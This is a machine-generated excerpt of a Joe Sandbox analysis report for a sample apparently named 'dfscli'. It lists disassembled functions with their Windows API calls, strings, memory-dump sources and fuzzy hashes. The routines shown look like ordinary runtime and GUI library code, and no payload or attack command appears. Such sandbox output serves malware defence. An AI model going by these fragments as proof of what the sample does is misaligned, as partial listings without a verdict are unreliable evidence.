a7a&, xrefs: 02231612
Ei, xrefs: 022317D1
E?*, xrefs: 02231601
a7a&, xrefs: 02231548

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID:
String ID: E?*$a7a&$a7a&$Ei$Ei
API String ID: 0-288907479
Opcode ID: a90822e4b0b099060805fe5c384b008ef36b3c28567d5861b868bfc87914f056
Instruction ID: 75f249365da1273c7830dfa8a19f86c2169207a5f2f27f1327badec8b84f03a5
Opcode Fuzzy Hash: a90822e4b0b099060805fe5c384b008ef36b3c28567d5861b868bfc87914f056
Instruction Fuzzy Hash: 3BE1BEB16243028BC71ADFE4D890A6BB3E6BBC4744F04491DE48ADB348DB74ED15CB92

Function 00404B45 Relevance: 10.7, APIs: 7, Instructions: 247memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404B4A
MapDialogRect.USER32(?,?), ref: 00404BD8
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00404BF9
CLSIDFromString.OLE32(?,00000004), ref: 00404CF7
CLSIDFromProgID.OLE32(?,00000004), ref: 00404CFF
SetWindowPos.USER32(00000004,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,?,0000FC84,00000000), ref: 00404D9B
SysFreeString.OLEAUT32(?), ref: 00404DEE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prologProgRectWindow
String ID:
API String ID: 493809305-0
Opcode ID: 90d6fed022f37205e91faeaac6504b74e0f75d282e9fda82b03ffbdba748a2f0
Instruction ID: b3c49ecfdae2261962f2f72699b3bcc1d5c4594392ee8f9afc26f4e19ff51694
Opcode Fuzzy Hash: 90d6fed022f37205e91faeaac6504b74e0f75d282e9fda82b03ffbdba748a2f0
Instruction Fuzzy Hash: A1A146B1900219DFDB14DFA9D884AEEBBB4FF48304F10452EE919A7391D738A951CFA4

Function 004148BE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

Part of subcall function 00411DA5: GetLastError.KERNEL32(?,00000000,0040F9CC,004108AA,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010,0041200F), ref: 00411DA7
Part of subcall function 00411DA5: FlsGetValue.KERNEL32(?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DB5
Part of subcall function 00411DA5: FlsSetValue.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DDC
Part of subcall function 00411DA5: GetCurrentThreadId.KERNEL32 ref: 00411DF4
Part of subcall function 00411DA5: SetLastError.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411E0B

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414930
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414A2D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414A86
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414AA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414AC6

Strings

^@, xrefs: 004148BE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorLastValue$CurrentThread
String ID: ^@
API String ID: 223281555-3067454934
Opcode ID: 661871ab33832ade7b7aaf52d2a942668b7e032303f44cc99fa12acc2a8bb67a
Instruction ID: d8969bca762c2fff75cd20f14addf9e5daf178b08686a22cb2c5a04f5c96d0d7
Opcode Fuzzy Hash: 661871ab33832ade7b7aaf52d2a942668b7e032303f44cc99fa12acc2a8bb67a
Instruction Fuzzy Hash: 1F61D8B6A40305AFDB14DFA9CC41BABB3B6EFC4354F25412FF5009B281D7B999808B58

Function 00421820 Relevance: 10.6, APIs: 7, Instructions: 115windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0042184E
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00421875
UpdateWindow.USER32(?), ref: 0042188F
SendMessageA.USER32(?,00000121,00000000,?), ref: 004218B3
SendMessageA.USER32(?,0000036A,00000000,00000004), ref: 004218CD
UpdateWindow.USER32(?), ref: 00421913
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00421947

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: b2be0544251454af26a063944dae0fad199999050631c7f4df3474e00c2e4742
Instruction ID: bda951081c485ca147d81411007fe1a190cd778f32f816f53062b6f76fcfd76d
Opcode Fuzzy Hash: b2be0544251454af26a063944dae0fad199999050631c7f4df3474e00c2e4742
Instruction Fuzzy Hash: 2141E4307043519BD731AF26AC84A2BBAF4FFD1758F90092EF48192271C73A8946CB5A

Function 0040698F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114comstringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406994
GetObjectA.GDI32(00405B22,0000003C,?), ref: 00406A00
lstrlenA.KERNEL32(?), ref: 00406A11
GetDeviceCaps.GDI32(?,0000005A), ref: 00406A88
OleCreateFontIndirect.OLEAUT32(00000020,00433CFC,?), ref: 00406AB4

Strings

, xrefs: 00406A0A

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CapsCreateDeviceFontH_prologIndirectObjectlstrlen
String ID:
API String ID: 4082312370-3916222277
Opcode ID: 61b9ff90e36958d84cbc1077bd490824df986479636f83f491aa45025cd70d28
Instruction ID: c4ebfa65322681a217c67680f7c020fd47e848ba818764bf4c75e36be929e26e
Opcode Fuzzy Hash: 61b9ff90e36958d84cbc1077bd490824df986479636f83f491aa45025cd70d28
Instruction Fuzzy Hash: 34417771E002199BCB10EFE5D845AADBBB4BF18308F10817EE556F7291E7388A09CB54

Function 00428790 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00428795
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00428875
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00428892
RegCloseKey.ADVAPI32(?,?,?,?,Software\), ref: 004288B2
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 004288CE

Strings

Software\, xrefs: 004287F3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CloseEnumH_prologOpenQueryValue
String ID: Software\
API String ID: 2161548231-964853688
Opcode ID: f4d1ca52cbf1251d97ab6773c42b41e562382329021e483681a562ce626031c5
Instruction ID: 0a6b551ca9cc724c7325d587e2d88eb9b1ee1faeb4156374ebf6c637dd52548d
Opcode Fuzzy Hash: f4d1ca52cbf1251d97ab6773c42b41e562382329021e483681a562ce626031c5
Instruction Fuzzy Hash: 4241C331A001289BDB21EB65DC41EEEB7B9EF49304F9041AEF145A2191CB789A52CF98

Function 00403CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(?,00000000,?,?,?,?,?,0042CC28,000000FF), ref: 00403D06
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00403D6D
AppendMenuA.USER32(?,00000000,00000010,00000010), ref: 00403D78

Part of subcall function 00403920: FindResourceA.KERNEL32(?,?,00000006), ref: 0040393A

SendMessageA.USER32(?,00000080,00000001,?), ref: 00403DB5
SendMessageA.USER32(?,00000080,00000000,?), ref: 00403DC9

Strings

loopback, xrefs: 00403DCD

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Menu$AppendMessageSend$FindResourceSystem
String ID: loopback
API String ID: 858472958-3546420730
Opcode ID: 4598b109ee9e33227e9328b0220a52c1a9e23e073aa70865d030f30849e1bb02
Instruction ID: 4823e85a43f7f0f7c6a3d4925acab711e54c1865e72890e5d36366e388cdfcd7
Opcode Fuzzy Hash: 4598b109ee9e33227e9328b0220a52c1a9e23e073aa70865d030f30849e1bb02
Instruction Fuzzy Hash: 26319E71240701ABD324EF65DC45F97B7A8FF84720F408A1EF6569B2D1CBB8A805CB58

Function 00429A96 Relevance: 10.6, APIs: 7, Instructions: 96memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0043F1BC,00000000,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF), ref: 00429AA6
TlsGetValue.KERNEL32(0043F1A0,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429AC4
LocalAlloc.KERNEL32(00000000,00000003,00000010,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940), ref: 00429B20
LocalReAlloc.KERNEL32(?,00000003,00000002,00000010,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3), ref: 00429B32
LeaveCriticalSection.KERNEL32(?,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429B3F
TlsSetValue.KERNEL32(0043F1A0,00000000), ref: 00429B6F
LeaveCriticalSection.KERNEL32(0043F1BC,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429B90

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CriticalSection$AllocLeaveLocalValue$Enter
String ID:
API String ID: 784703316-0
Opcode ID: 594a4808baee31a767fdc62f7c8140403948de5799d907349c6831314b1ca9d7
Instruction ID: 5dddc9971b22e0e1876c0446c64b268f5833d0c7886631e03ddba794b92d443b
Opcode Fuzzy Hash: 594a4808baee31a767fdc62f7c8140403948de5799d907349c6831314b1ca9d7
Instruction Fuzzy Hash: 52319A71700625EFDB20DF56E8C5CAABBA9FF48310B90863EE51A93610C734BD51CB98

Function 0040CC2D Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000002), ref: 0040CC48
GetParent.USER32(?), ref: 0040CC59
GetWindow.USER32(?,00000002), ref: 0040CC7C
GetWindow.USER32(?,00000002), ref: 0040CC8E
GetWindowLongA.USER32(?,000000EC), ref: 0040CC9D
IsWindowVisible.USER32(?), ref: 0040CCB7
GetTopWindow.USER32(?), ref: 0040CCDD

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: c70ef7d8c11c9b3d2c2ff62202ba04e1108e68c61368e778a638a0a540840f3a
Instruction ID: 9a1c37ed5188bfc8f33535311d62c0bbdcb57dd72d5f2f5136bb94345a51e9fd
Opcode Fuzzy Hash: c70ef7d8c11c9b3d2c2ff62202ba04e1108e68c61368e778a638a0a540840f3a
Instruction Fuzzy Hash: 3D21B631704725EBE7316B66DC89F1B76AC9F44350F450A3AB906B72E1C63CEC0297A8

Function 00429DD5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 00429E03
RegCreateKeyExA.ADVAPI32(?,00000000,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00429E26
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00429E42
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00429E52
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00429E5C

Strings

software, xrefs: 00429DEB

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 72d1def7f2d6fdd73a8869adbf3cb73964bbc3421da6f381463cdf1f6bf9f63c
Instruction ID: 4196c354c669fe93409805c9569d3fa6af76ca9127a827bb77615f6dc873523b
Opcode Fuzzy Hash: 72d1def7f2d6fdd73a8869adbf3cb73964bbc3421da6f381463cdf1f6bf9f63c
Instruction Fuzzy Hash: 6B11FB72E00268FBDB21DB96DD84DDFBFBCEF89750F50006AE504A2111D2719E05DB64

Function 004051A3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004051E1
GetSystemMetrics.USER32(00000000), ref: 004051F9
GetSystemMetrics.USER32(00000001), ref: 00405200
lstrcpynA.KERNEL32(?,DISPLAY,00000020), ref: 00405226

Strings

DISPLAY, xrefs: 0040521D
B, xrefs: 004051C0

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: System$Metrics$InfoParameterslstrcpyn
String ID: B$DISPLAY
API String ID: 2307409384-3316187204
Opcode ID: 01cb16e888f42547f2c344bd68f40c19bd14a3463d0f9075f0a2184348a044af
Instruction ID: e98ffc39238d76ad18c2064865fb770f623c726fedb459cf3e2701fb3375c0a4
Opcode Fuzzy Hash: 01cb16e888f42547f2c344bd68f40c19bd14a3463d0f9075f0a2184348a044af
Instruction Fuzzy Hash: 8D11A371601624ABCF219F659C84A5BBBA8EF09740B8044B6FD05BE185D275D801CFE9

Function 00427E43 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,00000000,?,?,?,?,00407746,?), ref: 00427E53
GetDeviceCaps.GDI32(?,00000058), ref: 00427E8D
GetDeviceCaps.GDI32(?,0000005A), ref: 00427E96

Part of subcall function 00425FE0: MulDiv.KERNEL32(00407746,00000000,00000000), ref: 00426020
Part of subcall function 00425FE0: MulDiv.KERNEL32(4689EC45,00000000,00000000), ref: 0042603D

MulDiv.KERNEL32(Fw@,00000060,000009EC), ref: 00427EBA
MulDiv.KERNEL32(00000000,?,000009EC), ref: 00427EC5

Strings

Fw@, xrefs: 00427EA5, 00427E6E, 00427EAF

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CapsDevice$Mode
String ID: Fw@
API String ID: 696222070-2650048193
Opcode ID: e3170947b1cc198c57297360878fe5df2dbdc7ddbbd9112fc42464f21816eb6e
Instruction ID: fb80d5ef7b3a5028a237277ba05e0f2eaaf9dab0768e1b579059bcf110595a45
Opcode Fuzzy Hash: e3170947b1cc198c57297360878fe5df2dbdc7ddbbd9112fc42464f21816eb6e
Instruction Fuzzy Hash: 1711C235700720AFDB219F55DC44C1FBBA9EF84750752042AF98157360C7759D02CB98

Function 00422880 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00429F15: EnterCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F43
Part of subcall function 00429F15: InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F55
Part of subcall function 00429F15: LeaveCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F5E
Part of subcall function 00429F15: EnterCriticalSection.KERNEL32(00000000,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399), ref: 00429F70

Part of subcall function 00429916: __EH_prolog.LIBCMT ref: 0042991B

LoadLibraryA.KERNEL32(hhctrl.ocx,004290F1,0000000C), ref: 004228A4
GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 004228B7
FreeLibrary.KERNEL32(?), ref: 004228C7

Strings

HtmlHelpA, xrefs: 004228B1
hhctrl.ocx, xrefs: 0042289F
|C, xrefs: 0042288D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CriticalSection$EnterLibrary$AddressFreeH_prologInitializeLeaveLoadProc
String ID: HtmlHelpA$hhctrl.ocx$|C
API String ID: 813623328-2960013086
Opcode ID: 76f3623a875863b6600950783369de3e50677ae7417989a49c3df338fd27278c
Instruction ID: 8ff148b5d027a1bd9c09299d9886496cc310a26e86ad88824c01f6ca9606dbec
Opcode Fuzzy Hash: 76f3623a875863b6600950783369de3e50677ae7417989a49c3df338fd27278c
Instruction Fuzzy Hash: A6F04430344311EFD7606F72EE09B177AD4AF08B15F40892EF05BD15A0DBB8C844972A

Function 0042547E Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 0042548A
GetSysColor.USER32(00000010), ref: 00425491
GetSysColor.USER32(00000014), ref: 00425498
GetSysColor.USER32(00000012), ref: 0042549F
GetSysColor.USER32(00000006), ref: 004254A6
GetSysColorBrush.USER32(0000000F), ref: 004254B3
GetSysColorBrush.USER32(00000006), ref: 004254BA

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 5e9fe926aba121c93cda4fa03a08df81998be73ca4ec86a4fc7898ccbcd5bfd0
Instruction ID: 78561b53b6dc26605db7459fdb8494e68ce8eabe85823d8095c3e3f311011118
Opcode Fuzzy Hash: 5e9fe926aba121c93cda4fa03a08df81998be73ca4ec86a4fc7898ccbcd5bfd0
Instruction Fuzzy Hash: 2BF0F871A407489BD730BB729D09B47BAE1FFC4B10F02092EE2818BA90E6B6E0419F44

Function 00427ED1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24registrywindowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00427ED9
GetVersion.KERNEL32 ref: 00427EE4
GetVersion.KERNEL32 ref: 00427EEC
GetVersion.KERNEL32 ref: 00427EF2
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 00427EFF

Strings

MSWHEEL_ROLLMSG, xrefs: 00427EFA

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 05bd7beb7a7556ba018a9a177a96ae2ca3a30c583be59b7c1ae453c514f770bd
Instruction ID: cf2be246d5d97fda33aa8db455070e9bef683d48ca9bcd61a13d8190e2691888
Opcode Fuzzy Hash: 05bd7beb7a7556ba018a9a177a96ae2ca3a30c583be59b7c1ae453c514f770bd
Instruction Fuzzy Hash: 38E0803AA0D13546D7116764BE4476B66A45B54361FD6007BC90143764976C0C878A7E

Function 0040EF6B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,0040F0D9,?,00431AC0,00000008,0040F110,?,00000001,00000000,00412FBC,00000003), ref: 0040EF70
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF80
ExitProcess.KERNEL32 ref: 0040EF94

Strings

mscoree.dll, xrefs: 0040EF6B
CorExitProcess, xrefs: 0040EF7A
`#vp,$v, xrefs: 0040EF70

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

